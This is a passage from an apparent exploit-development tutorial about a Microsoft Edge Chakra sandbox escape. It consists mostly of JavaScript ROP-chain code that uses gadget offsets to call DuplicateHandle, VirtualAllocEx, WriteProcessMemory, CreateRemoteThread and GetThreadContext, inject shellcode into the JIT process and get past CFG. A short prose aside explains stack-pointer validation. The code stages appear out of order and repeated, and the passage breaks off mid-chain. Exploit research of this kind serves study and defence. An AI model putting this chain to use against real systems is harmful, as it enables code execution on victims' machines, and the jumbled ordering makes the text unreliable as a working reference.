write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT (0x3000)
next();

// Call KERNELBASE!VirtualAlloc
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x5ac10, kernelbaseHigh); // KERNELBASE!VirtualAlloc address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

// GetThreadContext() ROP chain
// Stage 8 -> Dump the registers of our newly created thread within the JIT process to leak the stack

// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108, kernelbaseHigh); // .data section of kernelbase.dll where we will store the VirtualAlloc allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we will store CONTEXT.ContextFlags
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110
// The value we need to set is 0x10001F
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll with CONTEXT.ContextFlags address
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x0010001F, 0x00000000);             // CONTEXT_ALL
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// HANDLE hThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
next();

// LPCONTEXT lpContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
next();                                                                      
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// Call KERNELBASE!GetThreadContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x72d10, kernelbaseHigh); // KERNELBASE!GetThreadContext address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

// Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we stored CONTEXT.ContextFlags
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x4c37c5, chakraHigh);		// 0x1804c37c5: mov rax, qword [rcx] ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f73a, chakraHigh);       // 0x18026f73a: add rax, 0x68 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a118, kernelbaseHigh); // .data section of kernelbase.dll where we want to store CONTEXT.Rsp
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f72a, chakraHigh);      // 0x18026f72a: add rax, 0x60 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // ret gadget we want to overwrite our remote thread's RIP with 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xfeab, chakraHigh);        // 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)
next();

After preserving CONTEXT.Rsp, we can manipulate CONTEXT.Rip to directly point to our ret gadget. We don’t really need to save this address, because once we are done writing to it, we simply don’t need to worry about it anymore.

Now that we have RSP preserved, it is finally time to use one last call to WriteProcessMemory to write our final VirtualProtect ROP chain into the JIT process.

WriteProcessMemory ROP Chain (Round 4)

Our last step is to write our ROP chain into the remote process. You may be thinking - “Connor, we just hijacked RIP. Why can’t we just hijack RSP instead of writing our payload to the existing stack?” Great question! We know that if we call SetThreadContext, CFG doesn’t perform any validation on the instruction pointer to ensure we aren’t calling into the middle or end of a function. There is now way for CFG to know this! However, CFG does perform some slight validation of the stack pointer on SetThreadContext calls - via a function called RtlGuardIsValidStackPointer.

When the SetThreadContext function is called, this performs a syscall to the kernel (via NtSetContextThread). In the kernel, this eventually leads to the kernel version of NtSetContextThread, which calls PspSetContextThreadInternal.

PspSetContextInternal eventually calls KeVerifyContextRecord. KeVerifyContext record eventually calls a function called RtlGuardIsValidStackPointer.

This feature of CFG checks the TEB to ensure that any call to SetThreadContext has a stack base and limit within the known bounds of the stack managed by the TEB. This is why we cannot change RSP to something like our VirtualAllocEx allocation - as it isn’t within the known stack bounds. Because of this, we have to directly write our ROP payload to the existing stack (which we leaked via GetThreadContext).

With that said, let’s see our last WriteProcessMemory call. Here is how the call will be setup:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(CONTEXT.Rsp),				// Address of our remote thread's stack
	addressof(data_chakra_shellcode_location),	// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))
	sizeof(rop_chain)				// Size of our ROP chain
	NULL 						// Optional
);
// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
